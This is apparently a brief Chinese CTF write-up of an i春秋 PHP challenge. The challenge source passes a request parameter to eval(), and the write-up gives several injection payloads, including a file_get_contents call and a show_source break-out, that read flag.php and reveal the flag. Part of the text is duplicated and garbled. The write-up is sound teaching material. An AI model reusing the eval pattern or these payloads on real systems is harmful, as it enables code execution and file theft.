i春秋 CTF

原创

汉堡阿汉堡 于 2019-06-04 19:07:28 发布 407 收藏

爆破2

打开题目后发现是源码审计：

<?php include "flag.php"; $a = @$_REQUEST['hello']; eval("var_dump($a);"); show_source(__FILE__); 构造如下Payload：
http://bcc9f1f0ae4a4c1c990aff308f30cf606a2e804b655d4f0a.game.ichunqiu.com/?hello=file_get_contents('flag.php') 得到flag：
string(83) "<?php $flag = 'Too Young Too Simple'; #flag{4588d95e-7e59-4685-b72e-fba4f50110ce}; " <?php "flag.php"$a
$_REQUEST'hello'"var_dump();"show_source__FILE__); 构造payload
http://553058e9944e4073bd60ee4c0639fddfbb901c561d0f4032.game.ichunqiu.com/?
hello=1);show_source(%27flag.php%27);var_dump(可以这样 ?hello=file("flag.php") 也可以这样 ?
hello=);echo%20cat%20flag.php;// ， 然后ctrl+u查看源码 啊写不下去了